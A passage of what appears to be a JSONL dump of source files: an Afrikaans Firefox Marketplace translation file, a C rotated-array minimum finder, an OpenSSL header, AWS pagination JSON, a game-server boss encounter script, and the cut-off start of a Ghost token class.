Kroasië\"\nmsgstr[1] \"Programme vir Kroasië\"\n\n#: /media/js/edbrands.js:43\nmsgid \"App for Czech Republic\"\nmsgid_plural \"Apps for Czech Republic\"\nmsgstr[0] \"Program vir die Tsjeggiese Republiek\"\nmsgstr[1] \"Programme vir die Tsjeggiese Republiek\"\n\n#: /media/js/edbrands.js:44\nmsgid \"App for Ecuador\"\nmsgid_plural \"Apps for Ecuador\"\nmsgstr[0] \"Program vir Ecuador\"\nmsgstr[1] \"Programme vir Ecuador\"\n\n#: /media/js/edbrands.js:45\nmsgid \"App for El Salvador\"\nmsgid_plural \"Apps for El Salvador\"\nmsgstr[0] \"Program vir El Salvador\"\nmsgstr[1] \"Programme vir El Salvador\"\n\n#: /media/js/edbrands.js:46\nmsgid \"App for France\"\nmsgid_plural \"Apps for France\"\nmsgstr[0] \"Program vir Frankryk\"\nmsgstr[1] \"Program vir Frankryk\"\n\n#: /media/js/edbrands.js:47\nmsgid \"App for Germany\"\nmsgid_plural \"Apps for Germany\"\nmsgstr[0] \"Program vir Duitsland\"\nmsgstr[1] \"Programme vir Duitsland\"\n\n#: /media/js/edbrands.js:48\nmsgid \"App for Greece\"\nmsgid_plural \"Apps for Greece\"\nmsgstr[0] \"Program vir Griekeland\"\nmsgstr[1] \"Programme vir Griekeland\"\n\n#: /media/js/edbrands.js:49\nmsgid \"App for Hungary\"\nmsgid_plural \"Apps for Hungary\"\nmsgstr[0] \"Program vir Hongarye\"\nmsgstr[1] \"Programme vir Hongarye\"\n\n#: /media/js/edbrands.js:50\nmsgid \"App for India\"\nmsgid_plural \"Apps for India\"\nmsgstr[0] \"Program vir Indië\"\nmsgstr[1] \"Programme vir Indië\"\n\n#: /media/js/edbrands.js:51\nmsgid \"App for Italy\"\nmsgid_plural \"Apps for Italy\"\nmsgstr[0] \"Program vir Italië\"\nmsgstr[1] \"Programme vir Italië\"\n\n#: /media/js/edbrands.js:52\nmsgid \"App for Japan\"\nmsgid_plural \"Apps for Japan\"\nmsgstr[0] \"Program vir Japan\"\nmsgstr[1] \"Programme vir Japan\"\n\n#: /media/js/edbrands.js:53\nmsgid \"App for Macedonia\"\nmsgid_plural \"Apps for Macedonia\"\nmsgstr[0] \"Program vir Masedonië\"\nmsgstr[1] \"Programme vir Masedonië\"\n\n#: /media/js/edbrands.js:54\nmsgid \"App for Mexico\"\nmsgid_plural \"Apps for Mexico\"\nmsgstr[0] \"Program vir Mexiko\"\nmsgstr[1] \"Programme vir Mexiko\"\n\n#: /media/js/edbrands.js:55\nmsgid \"App for Montenegro\"\nmsgid_plural \"Apps for Montenegro\"\nmsgstr[0] \"Program vir Montenegro\"\nmsgstr[1] \"Programme vir Montenegro\"\n\n#: /media/js/edbrands.js:56\nmsgid \"App for Nicaragua\"\nmsgid_plural \"Apps for Nicaragua\"\nmsgstr[0] \"Program vir Nicaragua\"\nmsgstr[1] \"Programme vir Nicaragua\"\n\n#: /media/js/edbrands.js:57\nmsgid \"App for Panama\"\nmsgid_plural \"Apps for Panama\"\nmsgstr[0] \"Program vir Panama\"\nmsgstr[1] \"Programme vir Panama\"\n\n#: /media/js/edbrands.js:58\nmsgid \"App for Peru\"\nmsgid_plural \"Apps for Peru\"\nmsgstr[0] \"Program vir Peru\"\nmsgstr[1] \"Programme vir Peru\"\n\n#: /media/js/edbrands.js:59\nmsgid \"App for Poland\"\nmsgid_plural \"Apps for Poland\"\nmsgstr[0] \"Program vir Pole\"\nmsgstr[1] \"Programme vir Pole\"\n\n#: /media/js/edbrands.js:60\nmsgid \"App for Russia\"\nmsgid_plural \"Apps for Russia\"\nmsgstr[0] \"Program vir Rusland\"\nmsgstr[1] \"Programme vir Rusland\"\n\n#: /media/js/edbrands.js:61\nmsgid \"App for Serbia\"\nmsgid_plural \"Apps for Serbia\"\nmsgstr[0] \"Program vir Serwië\"\nmsgstr[1] \"Programme vir Serwië\"\n\n#: /media/js/edbrands.js:62\nmsgid \"App for South Africa\"\nmsgid_plural \"Apps for South Africa\"\nmsgstr[0] \"Program vir Suid-Afrika\"\nmsgstr[1] \"Programme vir Suid-Afrika\"\n\n#: /media/js/edbrands.js:63\nmsgid \"App for Spain\"\nmsgid_plural \"Apps for Spain\"\nmsgstr[0] \"Program vir Spanje\"\nmsgstr[1] \"Programme vir Spanje\"\n\n#: /media/js/edbrands.js:64\nmsgid \"App for Uruguay\"\nmsgid_plural \"Apps for Uruguay\"\nmsgstr[0] \"Program vir Uruguay\"\nmsgstr[1] \"Programme vir Uruguay\"\n\n#: /media/js/edbrands.js:65\nmsgid \"App for Venezuela\"\nmsgid_plural \"Apps for Venezuela\"\nmsgstr[0] \"Program vir Venezuela\"\nmsgstr[1] \"Programme vir Venezuela\"\n\n#: /media/js/edbrands.js:66\nmsgid \"Arts & Entertainment App\"\nmsgid_plural \"Arts & Entertainment Apps\"\nmsgstr[0] \"Program vir kuns en vermaak\"\nmsgstr[1] \"Programme vir kuns en vermaak\"\n\n#: /media/js/edbrands.js:67\nmsgid \"Featured Book App\"\nmsgid_plural \"Featured Book Apps\"\nmsgstr[0] \"Uitgesoekte boekprogram\"\nmsgstr[1] \"Uitgesoekte boekprogramme\"\n\n#: /media/js/edbrands.js:68\nmsgid \"Featured Creativity App\"\nmsgid_plural \"Featured Creativity Apps\"\nmsgstr[0] \"Uitgesoekte kreatiwiteitsprogram\"\nmsgstr[1] \"Uitgesoekte kreatiwiteitsprogramme\"\n\n#: /media/js/edbrands.js:69\nmsgid \"Featured Education App\"\nmsgid_plural \"Featured Education Apps\"\nmsgstr[0] \"Uitgesoekte opvoedkundige program\"\nmsgstr[1] \"Uitgesoekte opvoedkundige programme\"\n\n#: /media/js/edbrands.js:70\nmsgid \"Featured Game\"\nmsgid_plural \"Featured Games\"\nmsgstr[0] \"Uitgesoekte speletjie\"\nmsgstr[1] \"Uitgesoekte speletjies\"\n\n#: /media/js/edbrands.js:71\nmsgid \"Groundbreaking App\"\nmsgid_plural \"Groundbreaking Apps\"\nmsgstr[0] \"Innoverende program\"\nmsgstr[1] \"Innoverende programme\"\n\n#: /media/js/edbrands.js:72\nmsgid \"Health & Fitness App\"\nmsgid_plural \"Health & Fitness Apps\"\nmsgstr[0] \"Program vir gesondheid en fiksheid\"\nmsgstr[1] \"Programme vir gesondheid en fiksheid\"\n\n#: /media/js/edbrands.js:73\nmsgid \"Hidden Gem\"\nmsgid_plural \"Hidden Gems\"\nmsgstr[0] \"Versteekte juweel\"\nmsgstr[1] \"Hidden Gems\"\n\n#: /media/js/edbrands.js:74\nmsgid \"Featured Lifestyle App\"\nmsgid_plural \"Featured Lifestyle Apps\"\nmsgstr[0] \"Uitgesoekte lewenstylprogram\"\nmsgstr[1] \"Uitgesoekte lewenstylprogramme\"\n\n#: /media/js/edbrands.js:75\nmsgid \"Local Favorite App\"\nmsgid_plural \"Local Favorite Apps\"\nmsgstr[0] \"Plaaslike gunstelingprogram\"\nmsgstr[1] \"Plaaslike gunstelingprogramme\"\n\n#: /media/js/edbrands.js:76\nmsgid \"Maps & Navigation App\"\nmsgid_plural \"Maps & Navigation Apps\"\nmsgstr[0] \"Kaarte en navigasieprogram\"\nmsgstr[1] \"Kaarte en navigasieprogramme\"\n\n#: /media/js/edbrands.js:77\nmsgid \"Featured Music App\"\nmsgid_plural \"Featured Music Apps\"\nmsgstr[0] \"Uitgesoekte musiekprogram\"\nmsgstr[1] \"Uitgesoekte musiekprogramme\"\n\n#: /media/js/edbrands.js:78\nmsgid \"Mystery App!\"\nmsgid_plural \"Mystery Apps!\"\nmsgstr[0] \"Raaiselprogram!\"\nmsgstr[1] \"Raaiselprogramme!\"\n\n#: /media/js/edbrands.js:79\nmsgid \"News & Weather App\"\nmsgid_plural \"News & Weather Apps\"\nmsgstr[0] \"Nuus- of weer-program\"\nmsgstr[1] \"Nuus- en weer-programme\"\n\n#: /media/js/edbrands.js:80\nmsgid \"Photo & Video App\"\nmsgid_plural \"Photo & Video Apps\"\nmsgstr[0] \"Program vir foto's en video's\"\nmsgstr[1] \"Programme vir foto's en video's\"\n\n#: /media/js/edbrands.js:81\nmsgid \"Featured Shopping App\"\nmsgid_plural \"Featured Shopping Apps\"\nmsgstr[0] \"Uitgesoekte inkopieprogram\"\nmsgstr[1] \"Uitgesoekte inkopieprogramme\"\n\n#: /media/js/edbrands.js:82\nmsgid \"Featured Social App\"\nmsgid_plural \"Featured Social Apps\"\nmsgstr[0] \"Uitgesoekte sosiale program\"\nmsgstr[1] \"Uitgesoekte sosiale programme\"\n\n#: /media/js/edbrands.js:83\nmsgid \"Featured Sports App\"\nmsgid_plural \"Featured Sports Apps\"\nmsgstr[0] \"Uitgesoekte sportprogram\"\nmsgstr[1] \"Uitgesoekte sportprogramme\"\n\n#: /media/js/edbrands.js:84\nmsgid \"Tool & Time Saver\"\nmsgid_plural \"Tools & Time Savers\"\nmsgstr[0] \"Hulpmiddel en tydbespaarder\"\nmsgstr[1] \"Hulpmiddels en tydbespaarders\"\n\n#: /media/js/edbrands.js:85\nmsgid \"Featured Travel App\"\nmsgid_plural \"Featured Travel Apps\"\nmsgstr[0] \"Uitgesoekte reisprogram\"\nmsgstr[1] \"Uitgesoekte reisprogramme\"\n\n#: /media/js/edbrands.js:86\nmsgid \"Work & Business App\"\nmsgid_plural \"Work & Business Apps\"\nmsgstr[0] \"Werk-en-besigheid-program\"\nmsgstr[1] \"Werk-en-besigheid-programme\"\n\n#: /media/js/feed_websites.js:61\nmsgid \"{current} of {count}\"\nmsgstr \"\"\n\n#: /media/js/helpers_local.js:137\nmsgid \"works offline\"\nmsgstr \"\"\n\n#: /media/js/installer_iframe.js:111 /media/js/installer_direct.js:180\nmsgid \"App install error: {error}\"\nmsgstr \"Programinstalleringsfout: {error}\"\n\n#: /media/js/installer_direct.js:140\nmsgid \"Unable to install packaged apps\"\nmsgstr \"Kon nie verpakte programme installeer nie\"\n\n#: /media/js/installer_direct.js:178\nmsgid \"Sorry, we had trouble fetching this app's data. Please try again later.\"\nmsgstr \"Jammer, ons sukkel om hierdie program se data te haal. Probeer later weer.\"\n\n#: /media/js/newsletter.js:73\nmsgid \"There was an error submitting your newsletter sign up request\"\nmsgstr \"Kon nie jou nuusbrief-aansluitversoek indien nie.\"\n\n#. This error is raised when we are unable to fetch a JWT from the payments API.\n#: /media/js/payments.js:138\nmsgid \"Error while communicating with server. Try again later.\"\nmsgstr \"'n Fout het voorgekom tydens kommunikasie met die bediener. Probeer weer later.\"\n\n#: /media/js/payments.js:141\nmsgid \"Payment failed. Try again later.\"\nmsgstr \"Betaling het misluk. Probeer weer later.\"\n\n#. {n} is the number of stars\n#: /media/js/ratingwidget.js:44\nmsgid \"{n} star\"\nmsgid_plural \"{n} stars\"\nmsgstr[0] \"{n} ster\"\nmsgstr[1] \"{n} sterre\"\n\n#. The report is an abuse report for reviews.\n#: /media/js/reviews.js:35\nmsgid \"Flagging review...\"\nmsgstr \"Vlag tans resensie...\"\n\n#: /media/js/reviews.js:40\nmsgid \"This review has been successfully flagged. Thanks!\"\nmsgstr \"Hierdie resensie is suksesvol gevlag. Dankie!\"\n\n#: /media/js/reviews.js:52\nmsgid \"Sorry, there was an issue flagging the review. Please try again later.\"\nmsgstr \"Jammer, kon nie die resensie vlag nie. Probeer weer later.\"\n\n#: /media/js/reviews.js:62\nmsgid \"This review has been successfully deleted\"\nmsgstr \"Hierdie resensie is suksesvol geskrap.\"\n\n#: /media/js/reviews.js:93 /media/js/views/app/ratings/add.js:21\nmsgid \"Write a Review\"\nmsgstr \"Skryf 'n resensie\"\n\n#: /media/js/reviews.js:96\nmsgid \"Sorry, there was a problem deleting the review\"\nmsgstr \"Kon nie die resensie skrap nie\"\n\n#: /media/js/reviews.js:157 /media/js/views/addon.js:11 /media/js/views/addon.js:19 /media/js/views/addon.js:21 /media/js/views/app.js:16 /media/js/views/app.js:24 /media/js/views/app.js:25\n#: /media/js/views/app.js:30 /media/js/views/app.js:31 /media/js/views/feed_landing.js:15 /media/js/views/website.js:10 /media/js/views/website.js:16 /media/js/views/website.js:17\n#: /media/js/views/website.js:18\nmsgid \"Loading...\"\nmsgstr \"Laai tans...\"\n\n#: /media/js/reviews.js:260\nmsgid \"Your review was successfully posted. Thanks!\"\nmsgstr \"Jou resensie is suksesvol geplaas. Dankie!\"\n\n#: /media/js/reviews.js:265\nmsgid \"Sorry, there was an error posting your review. Please try again later.\"\nmsgstr \"Jammer, kon nie jou resensie plaas nie. Probeer weer later.\"\n\n#: /media/js/reviews.js:293\nmsgid \"Your review was successfully edited\"\nmsgstr \"Jou resensie is suksesvol geredigeer\"\n\n#: /media/js/reviews.js:298\nmsgid \"Sorry, there was an issue editing your review. Please try again later\"\nmsgstr \"Jammer, kon nie jou resensie redigeer nie. Probeer weer later\"\n\n#: /media/js/settings_app.js:96\nmsgid \"English\"\nmsgstr \"Engels\"\n\n#: /media/js/settings_app.js:97\nmsgid \"French\"\nmsgstr \"Frans\"\n\n#: /media/js/settings_app.js:98\nmsgid \"German\"\nmsgstr \"Duits\"\n\n#: /media/js/settings_app.js:99\nmsgid \"Hungarian\"\nmsgstr \"Hongaars\"\n\n#: /media/js/settings_app.js:100\nmsgid \"Indonesian\"\nmsgstr \"Indonesies\"\n\n#: /media/js/settings_app.js:101\nmsgid \"Polish\"\nmsgstr \"Pools\"\n\n#: /media/js/settings_app.js:102\nmsgid \"Portuguese\"\nmsgstr \"Portugees\"\n\n#: /media/js/settings_app.js:103\nmsgid \"Russian\"\nmsgstr \"Russies\"\n\n#: /media/js/settings_app.js:104\nmsgid \"Spanish\"\nmsgstr \"Spaans\"\n\n#: /media/js/settings_app.js:116\nmsgid \"Sorry, you are currently offline. Please try again later.\"\nmsgstr \"Jammer, jy is tans vanlyn. Probeer asseblief weer later.\"\n\n#: /media/js/update_banner.js:24\nmsgid \"The next time you start the Firefox Marketplace app, you’ll see the updated version!\"\nmsgstr \"Volgende keer wat jy die Firefox Marketplace-program begin, sal jy die nuwe weergawe sien!\"\n\n#: /media/js/views/addons.js:9 /media/js/views/addons.js:10\nmsgid \"Firefox OS Add-ons\"\nmsgstr \"\"\n\n#: /media/js/views/app.js:17\nmsgid \"App Detail\"\nmsgstr \"\"\n\n#: /media/js/views/feed_landing.js:16\nmsgid \"Collection Detail\"\nmsgstr \"\"\n\n#: /media/js/views/homescreens.js:8\nmsgid \"Popular Homescreens\"\nmsgstr \"\"\n\n#: /media/js/views/feedback.js:23\nmsgid \"Feedback submitted. Thanks!\"\nmsgstr \"Terugvoer ingestuur. Dankie!\"\n\n#: /media/js/views/feedback.js:27\nmsgid \"There was a problem submitting your feedback. Try again soon.\"\nmsgstr \"Daar was 'n probleem om jou terugvoer in te stuur. Probeer gou weer.\"\n\n#: /media/js/views/homepage.js:11\nmsgid \"FirefoxOS Marketplace\"\nmsgstr \"\"\n\n#: /media/js/views/new_apps.js:8\nmsgid \"New Apps\"\nmsgstr \"\"\n\n#: /media/js/views/new_websites.js:8\nmsgid \"New Sites\"\nmsgstr \"\"\n\n#: /media/js/views/langpacks.js:30\nmsgid \"Language Packs\"\nmsgstr \"Taalpakke\"\n\n#: /media/js/views/langpacks.js:42\nmsgid \"Firefox OS {version}\"\nmsgstr \"Firefox OS {version}\"\n\n#: /media/js/views/popular_apps.js:9\nmsgid \"Popular Apps\"\nmsgstr \"\"\n\n#: /media/js/views/popular_websites.js:8\nmsgid \"Popular Sites\"\nmsgstr \"\"\n\n#: /media/js/views/settings.js:41\nmsgid \"Your settings have been successfully saved\"\nmsgstr \"Jou instellings is suksesvol gestoor\"\n\n#: /media/js/views/settings.js:47\nmsgid \"Settings could not be saved\"\nmsgstr \"Instellings kon nie gestoor word nie\"\n\n#: /media/js/views/search.js:176\nmsgid \"Search Results\"\nmsgstr \"Soekresultate\"\n\n#: /media/js/views/search.js:189\nmsgid \"Developer Listing\"\nmsgstr \"\"\n\n#: /media/js/views/website.js:11\nmsgid \"Website Detail\"\nmsgstr \"\"\n\n#: /media/js/lib/marketplace-elements.js:119\nmsgid \"Close\"\nmsgstr \"\"\n\n#: /media/js/views/addon/abuse.js:16 /media/js/views/app/abuse.js:18 /media/js/views/website/issue.js:17\nmsgid \"Report submitted. Thanks!\"\nmsgstr \"\"\n\n#: /media/js/views/addon/abuse.js:21 /media/js/views/app/abuse.js:25 /media/js/views/website/issue.js:23\nmsgid \"There was an issue submitting your report. Please try again later.\"\nmsgstr \"\"\n\n#: /media/js/views/app/ratings.js:12\nmsgid \"Read All Reviews\"\nmsgstr \"\"\n\n#: /media/js/views/app/receipt.js:14\nmsgid \"Please sign in to view the receipt\"\nmsgstr \"Meld asseblief aan om die kwitansie te sien\"\n\n#: /media/js/views/app/receipt.js:24\nmsgid \"Receipt\"\nmsgstr \"Kwitansie\"\n\n#: /media/js/views/website/issue.js:32\nmsgid \"Report an Issue\"\nmsgstr \"\"\n"} {"text": "#include <stdio.h>\n#include <stdlib.h>\n#include <limits.h>\n\nstatic int findMin(int* nums, int numsSize)\n{\n int lo = 0;\n int hi = numsSize - 1;\n int min = INT_MAX;\n while (lo <= hi) {\n int mid = lo + (hi - lo) / 2; \n min = min < nums[mid] ? min : nums[mid];\n if (nums[mid] > nums[hi]) {\n lo = mid + 1;\n } else {\n hi = mid - 1;\n }\n }\n return min;\n}\n\nint main(int argc, char **argv)\n{\n int i, count = argc - 1;\n int *nums = malloc(count * sizeof(int));\n for (i = 0; i < count; i++) {\n nums[i] = atoi(argv[i + 1]);\n }\n printf(\"%d\\n\", findMin(nums, count));\n return 0;\n}\n"} {"text": "#include <openssl/bio.h>\n\n#if BIO_FLAGS_UPLINK==0\n/* Shortcut UPLINK calls on most platforms... */\n# define UP_stdin stdin\n# define UP_stdout stdout\n# define UP_stderr stderr\n# define UP_fprintf fprintf\n# define UP_fgets fgets\n# define UP_fread fread\n# define UP_fwrite fwrite\n# undef UP_fsetmod\n# define UP_feof feof\n# define UP_fclose fclose\n\n# define UP_fopen fopen\n# define UP_fseek fseek\n# define UP_ftell ftell\n# define UP_fflush fflush\n# define UP_ferror ferror\n# ifdef _WIN32\n# define UP_fileno _fileno\n# define UP_open _open\n# define UP_read _read\n# define UP_write _write\n# define UP_lseek _lseek\n# define UP_close _close\n# else\n# define UP_fileno fileno\n# define UP_open open\n# define UP_read read\n# define UP_write write\n# define UP_lseek lseek\n# define UP_close close\n# endif\n#endif\n"} {"text": "b323bb6d450bd5d6e2943dfbf66de570\n"} {"text": "foo() ->\n fun<caret>"} {"text": "{\n \"pagination\" : {\n \"ListApplicationVersions\" : {\n \"input_token\" : \"NextToken\",\n \"output_token\" : \"NextToken\",\n \"limit_key\" : \"MaxItems\"\n },\n \"ListApplications\" : {\n \"input_token\" : \"NextToken\",\n \"output_token\" : \"NextToken\",\n \"limit_key\" : \"MaxItems\"\n },\n \"ListApplicationDependencies\" : {\n \"input_token\" : \"NextToken\",\n \"output_token\" : \"NextToken\",\n \"limit_key\" : \"MaxItems\"\n }\n }\n}"} {"text": "/*\n *\n */\n\n#include \"scriptPCH.h\"\n\n#define SAY_AGGRO -1189000\n#define SAY_WHIRLWIND -1189001\n#define SAY_ENRAGE -1189002\n#define SAY_KILL -1189003\n#define EMOTE_ENRAGE -1189004\n\n#define SAY_TRAINEE_SPAWN -1189022\n\n#define SPELL_RUSHINGCHARGE 8260\n#define SPELL_CLEAVE 15496\n#define SPELL_WHIRLWIND 8989\n#define SPELL_FRENZY 8269\n\nenum\n{\n NPC_SCARLET_MYRMIDON = 4295,\n NPC_SCARLET_TRAINEE = 6575,\n\n GO_HEROD_DOOR = 101854\n};\n\nstruct Coords\n{\n float x, y, z, o;\n};\n\nconst Coords MyrmidonSpawn = { 1926.03f, -370.61f, 18.0f, 0.05f };\nconst Coords RoomCenter = { 1965.09f, -431.61f, 6.79f, 0.0f };\n\nstruct boss_herodAI : ScriptedAI\n{\n explicit boss_herodAI(Creature* pCreature) : ScriptedAI(pCreature)\n {\n boss_herodAI::Reset();\n }\n\n bool Enrage;\n bool TraineeSay;\n bool m_bWhirlwind;\n bool bMyrmidonsSpawned;\n uint8 NbTrainee;\n uint32 RushingCharge_Timer;\n uint32 Cleave_Timer;\n uint32 Whirlwind_Timer;\n uint32 m_uiRootTimer;\n uint32 uiRoomCheck;\n std::list<ObjectGuid> m_lMyrmidonGuids;\n\n void Reset() override\n {\n Enrage = false;\n TraineeSay = false;\n m_bWhirlwind = false;\n NbTrainee = 0;\n RushingCharge_Timer = 1500;\n Cleave_Timer = 12000;\n Whirlwind_Timer = urand(10000, 20000);\n m_uiRootTimer = 0;\n uiRoomCheck = 500;\n bMyrmidonsSpawned = false;\n }\n\n void Aggro(Unit* /*pWho*/) override\n {\n SpawnMyrmidons();\n DoScriptText(SAY_AGGRO, m_creature);\n DoCastSpellIfCan(m_creature, SPELL_RUSHINGCHARGE);\n }\n\n void KilledUnit(Unit* /*pVictim*/) override\n {\n DoScriptText(SAY_KILL, m_creature);\n }\n\n void JustSummoned(Creature* pSummoned) override\n {\n if (pSummoned->GetEntry() == NPC_SCARLET_TRAINEE)\n {\n if (!TraineeSay)\n {\n DoScriptText(SAY_TRAINEE_SPAWN, pSummoned);\n TraineeSay = true;\n }\n\n if (NbTrainee < 10)\n pSummoned->GetMotionMaster()->MovePoint(0, 1940.257080f, -434.454315f, 17.094456f);\n else\n pSummoned->GetMotionMaster()->MovePoint(100, 1940.508301f, -428.826080f, 17.095098f);\n\n NbTrainee++; \n return;\n }\n\n pSummoned->SetNoXP();\n m_lMyrmidonGuids.push_back(pSummoned->GetObjectGuid());\n }\n\n void EngageMyrmidons(Unit* victim)\n {\n if (!victim)\n return;\n\n for (const auto& guid : m_lMyrmidonGuids)\n {\n if (auto pMyrmidon = m_creature->GetMap()->GetCreature(guid))\n {\n if (!pMyrmidon->IsAlive() || pMyrmidon->GetVictim())\n continue;\n if (victim->IsAlive())\n pMyrmidon->SetInCombatWith(victim);\n }\n }\n }\n\n void SpawnMyrmidons()\n {\n bMyrmidonsSpawned = true;\n for (uint8 i = 0; i < 4; ++i)\n {\n m_creature->SummonCreature(NPC_SCARLET_MYRMIDON,\n MyrmidonSpawn.x + frand(-3.0, 3.0),\n MyrmidonSpawn.y + frand(-3.0, 3.0),\n MyrmidonSpawn.z,\n MyrmidonSpawn.o, TEMPSUMMON_DEAD_DESPAWN, 20000);\n }\n }\n\n void DespawnMyrmidons()\n {\n for (const auto& guid : m_lMyrmidonGuids)\n {\n if (auto pMyrmidon = m_creature->GetMap()->GetCreature(guid))\n {\n if (pMyrmidon->IsAlive() && !pMyrmidon->GetVictim())\n pMyrmidon->ForcedDespawn();\n }\n }\n\n bMyrmidonsSpawned = false;\n m_lMyrmidonGuids.clear();\n }\n\n void EnterEvadeMode() override\n {\n m_creature->ClearUnitState(UNIT_STAT_ROOT);\n DespawnMyrmidons();\n ScriptedAI::EnterEvadeMode();\n }\n\n void JustDied(Unit* /*pKiller*/) override\n {\n DespawnMyrmidons();\n for (uint8 i = 0; i < 20; ++i)\n m_creature->SummonCreature(NPC_SCARLET_TRAINEE,\n 1939.18f, -431.58f, 17.09f, 6.22f,\n TEMPSUMMON_TIMED_OR_DEAD_DESPAWN, 180000);\n\n if (auto pDoor = m_creature->FindNearestGameObject(GO_HEROD_DOOR, 100.0f))\n {\n if (pDoor->GetGoState() != GO_STATE_ACTIVE)\n pDoor->UseDoorOrButton();\n }\n }\n\n void UpdateAI(uint32 const diff) override\n {\n if (!m_creature->SelectHostileTarget() || !m_creature->GetVictim())\n return;\n\n // check if the target is still inside the room\n if (bMyrmidonsSpawned && uiRoomCheck <= diff)\n {\n if (!m_creature->IsWithinDist2d(RoomCenter.x, RoomCenter.y, 32.0f))\n {\n EngageMyrmidons(me->GetVictim());\n }\n uiRoomCheck = 500;\n }\n else uiRoomCheck -= diff;\n\n if (m_bWhirlwind)\n {\n if (m_uiRootTimer < diff)\n {\n m_creature->ClearUnitState(UNIT_STAT_ROOT);\n m_bWhirlwind = false;\n }\n else\n {\n m_uiRootTimer -= diff;\n return;\n }\n }\n\n //If we are <50% hp goes Enraged\n if (!Enrage && m_creature->GetHealthPercent() <= 50.0f && !m_creature->IsNonMeleeSpellCasted(false))\n {\n if (DoCastSpellIfCan(m_creature, SPELL_FRENZY) == CAST_OK)\n {\n DoScriptText(EMOTE_ENRAGE, m_creature);\n DoScriptText(SAY_ENRAGE, m_creature);\n Enrage = true;\n }\n }\n\n // Rushing Charge\n if (RushingCharge_Timer < diff)\n {\n auto pVictim = m_creature->GetVictim();\n\n if (pVictim && !pVictim->IsInRange(m_creature, 0.0f, MELEE_RANGE + 10.0f))\n {\n if (DoCastSpellIfCan(m_creature, SPELL_RUSHINGCHARGE) == CAST_OK)\n RushingCharge_Timer = 4500;\n }\n }\n else\n RushingCharge_Timer -= diff;\n\n // Cleave\n if (Cleave_Timer < diff)\n {\n if (DoCastSpellIfCan(m_creature->GetVictim(), SPELL_CLEAVE) == CAST_OK)\n Cleave_Timer = 12000;\n }\n else\n Cleave_Timer -= diff;\n\n // Whirlwind\n if (Whirlwind_Timer < diff)\n {\n if (DoCastSpellIfCan(m_creature->GetVictim(), SPELL_WHIRLWIND) == CAST_OK)\n {\n m_creature->AddUnitState(UNIT_STAT_ROOT);\n m_bWhirlwind = true;\n m_uiRootTimer = 11000;\n DoScriptText(SAY_WHIRLWIND, m_creature);\n Whirlwind_Timer = urand(20000, 30000);\n }\n }\n else\n Whirlwind_Timer -= diff;\n\n DoMeleeAttackIfReady();\n }\n};\n\nCreatureAI* GetAI_boss_herod(Creature* pCreature)\n{\n return new boss_herodAI(pCreature);\n}\n\nstruct mob_scarlet_traineeAI : ScriptedAI\n{\n explicit mob_scarlet_traineeAI(Creature* pCreature) : ScriptedAI(pCreature)\n {\n Start_Timer = urand(1000, 6000);\n group1 = false;\n group2 = false;\n mob_scarlet_traineeAI::Reset();\n }\n\n uint32 Start_Timer;\n bool group1;\n bool group2;\n\n void Reset() override { }\n\n void UpdateAI(uint32 const diff) override\n {\n if (Start_Timer)\n {\n if (Start_Timer <= diff)\n {\n m_creature->SetSpeedRate(MOVE_WALK, 2.20f);\n\n if (group1)\n m_creature->GetMotionMaster()->MovePoint(1, 1946.433594f, -435.955109f, 16.367277f);\n else if (group2)\n m_creature->GetMotionMaster()->MovePoint(101, 1940.257080f, -434.454315f, 17.094456f);\n\n Start_Timer = 0;\n }\n else\n Start_Timer -= diff;\n }\n\n if (!m_creature->SelectHostileTarget() || !m_creature->GetVictim())\n return;\n\n DoMeleeAttackIfReady();\n }\n\n void MovementInform(uint32 MovementType, uint32 id) override\n {\n if (MovementType == POINT_MOTION_TYPE)\n {\n switch (id)\n {\n case 0:\n group1 = true;\n break;\n case 100:\n group2 = true;\n break;\n case 1:\n m_creature->GetMotionMaster()->MovePoint(2, 1952.834717f, -447.514130f, 13.804327f);\n break;\n case 101:\n m_creature->GetMotionMaster()->MovePoint(102, 1953.056763f, -416.109863f, 13.861217f);\n break;\n case 2:\n m_creature->GetMotionMaster()->MovePoint(3, 1965.592041f, -451.153778f, 11.272284f);\n break;\n case 102:\n m_creature->GetMotionMaster()->MovePoint(103, 1965.369629f, -412.147949f, 11.272387f);\n break;\n case 3:\n m_creature->GetMotionMaster()->MovePoint(4, 1982.692749f, -441.514343f, 11.272284f);\n break;\n case 103:\n m_creature->GetMotionMaster()->MovePoint(104, 1980.908081f, -421.008026f, 11.272387f);\n break;\n case 4:\n m_creature->GetMotionMaster()->MovePoint(5, 1978.061890f, -428.549500f, 11.272232f);\n break;\n case 104:\n m_creature->GetMotionMaster()->MovePoint(105, 1979.139038f, -434.856934f, 11.272370f);\n break;\n case 5:\n m_creature->GetMotionMaster()->MovePoint(6, 1971.447144f, -419.629272f, 8.087179f);\n break;\n case 105:\n m_creature->GetMotionMaster()->MovePoint(106, 1972.044800f, -442.568573f, 8.434578f);\n break;\n case 6:\n m_creature->GetMotionMaster()->MovePoint(7, 1964.354004f, -418.632904f, 6.177466f);\n break;\n case 106:\n m_creature->GetMotionMaster()->MovePoint(107, 1964.691162f, -444.223022f, 6.177622f);\n break;\n case 7:\n case 107:\n m_creature->GetMotionMaster()->MovePoint(116, 1965.039795f, -431.733856f, 6.177539f);\n break;\n }\n }\n }\n};\n\nCreatureAI* GetAI_mob_scarlet_trainee(Creature* pCreature)\n{\n return new mob_scarlet_traineeAI(pCreature);\n}\n\n/*\n *\n */\n\nstruct go_herod_leverAI : GameObjectAI\n{\n explicit go_herod_leverAI(GameObject* pGo) : GameObjectAI(pGo)\n {\n\n }\n\n bool OnUse(Unit* /*pCaster*/) override\n {\n if (auto pDoor = me->FindNearestGameObject(GO_HEROD_DOOR, 40.0f))\n {\n if (pDoor->getLootState() == GO_READY || pDoor->getLootState() == GO_JUST_DEACTIVATED)\n pDoor->UseDoorOrButton();\n else\n pDoor->ResetDoorOrButton();\n }\n\n return true;\n }\n};\n\nGameObjectAI* GetAI_go_herod_lever(GameObject* pGo)\n{\n return new go_herod_leverAI(pGo);\n}\n\nvoid AddSC_boss_herod()\n{\n Script* newscript;\n newscript = new Script;\n newscript->Name = \"boss_herod\";\n newscript->GetAI = &GetAI_boss_herod;\n newscript->RegisterSelf();\n\n newscript = new Script;\n newscript->Name = \"mob_scarlet_trainee\";\n newscript->GetAI = &GetAI_mob_scarlet_trainee;\n newscript->RegisterSelf();\n\n newscript = new Script;\n newscript->Name = \"go_herod_lever\";\n newscript->GOGetAI = &GetAI_go_herod_lever;\n newscript->RegisterSelf();\n}\n"} {"text": "// @ts-check\nconst {UnauthorizedError} = require('@tryghost/errors');\n\nclass SingleUseTokenProvider {\n /**\n * @param {import('../../models/base')} SingleUseTokenModel - A model for creating and retrieving tokens.\n * @param {number} validity - How 